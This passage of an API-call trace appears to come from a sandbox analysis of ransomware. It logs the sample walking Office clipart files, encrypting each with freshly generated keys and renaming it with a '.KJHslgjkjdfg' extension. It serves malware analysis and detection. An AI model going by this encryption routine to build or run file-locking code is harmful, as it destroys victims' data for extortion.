lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.374] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.374] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.374] GetProcessHeap () returned 0x2ef0000 [0204.374] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.374] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.374] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.374] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.374] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.374] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.375] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.375] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.375] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.375] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.375] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa5c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa5c, lpOverlapped=0x0) returned 1 [0204.375] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa60, dwBufLen=0xa60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa60) returned 1 [0204.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.375] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa60, lpOverlapped=0x0) returned 1 [0204.375] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.375] SetEndOfFile (hFile=0x130) returned 1 [0204.377] GetProcessHeap () returned 0x2ef0000 [0204.378] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.378] GetProcessHeap () returned 0x2ef0000 [0204.378] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.kjhslgjkjdfg")) returned 1 [0204.379] CloseHandle (hObject=0x130) returned 1 [0204.379] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0204.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.380] GetProcessHeap () returned 0x2ef0000 [0204.380] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.380] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.380] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.380] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.380] GetProcessHeap () returned 0x2ef0000 [0204.381] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.381] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.381] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.381] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.383] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.383] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.383] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.383] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.383] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.383] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.383] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf00, lpOverlapped=0x0) returned 1 [0204.383] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00, dwBufLen=0xf00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00) returned 1 [0204.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.383] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf00, lpOverlapped=0x0) returned 1 [0204.384] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.384] SetEndOfFile (hFile=0x130) returned 1 [0204.387] GetProcessHeap () returned 0x2ef0000 [0204.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.387] GetProcessHeap () returned 0x2ef0000 [0204.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.kjhslgjkjdfg")) returned 1 [0204.388] CloseHandle (hObject=0x130) returned 1 [0204.388] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0204.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.390] GetProcessHeap () returned 0x2ef0000 [0204.390] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.390] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.390] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.391] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.391] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.391] GetProcessHeap () returned 0x2ef0000 [0204.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.391] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.391] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.392] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.392] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.392] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.392] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.392] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.392] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.392] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7cb6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7cb6, lpOverlapped=0x0) returned 1 [0204.394] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7cc0, dwBufLen=0x7cc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7cc0) returned 1 [0204.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.394] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7cc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7cc0, lpOverlapped=0x0) returned 1 [0204.394] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.394] SetEndOfFile (hFile=0x130) returned 1 [0204.397] GetProcessHeap () returned 0x2ef0000 [0204.397] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.397] GetProcessHeap () returned 0x2ef0000 [0204.397] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.kjhslgjkjdfg")) returned 1 [0204.398] CloseHandle (hObject=0x130) returned 1 [0204.399] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0204.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.400] GetProcessHeap () returned 0x2ef0000 [0204.401] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.401] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.403] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.403] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.403] GetProcessHeap () returned 0x2ef0000 [0204.403] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.403] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.403] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.403] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.403] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.404] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.404] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.404] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.404] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaefa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaefa, lpOverlapped=0x0) returned 1 [0204.405] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf00, dwBufLen=0xaf00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaf00) returned 1 [0204.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.406] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaf00, lpOverlapped=0x0) returned 1 [0204.406] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xafd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.406] SetEndOfFile (hFile=0x130) returned 1 [0204.407] GetProcessHeap () returned 0x2ef0000 [0204.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.407] GetProcessHeap () returned 0x2ef0000 [0204.407] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.kjhslgjkjdfg")) returned 1 [0204.409] CloseHandle (hObject=0x130) returned 1 [0204.409] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0204.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.410] GetProcessHeap () returned 0x2ef0000 [0204.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.410] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.410] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.412] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.412] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.412] GetProcessHeap () returned 0x2ef0000 [0204.412] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.412] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.412] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.412] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.412] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, 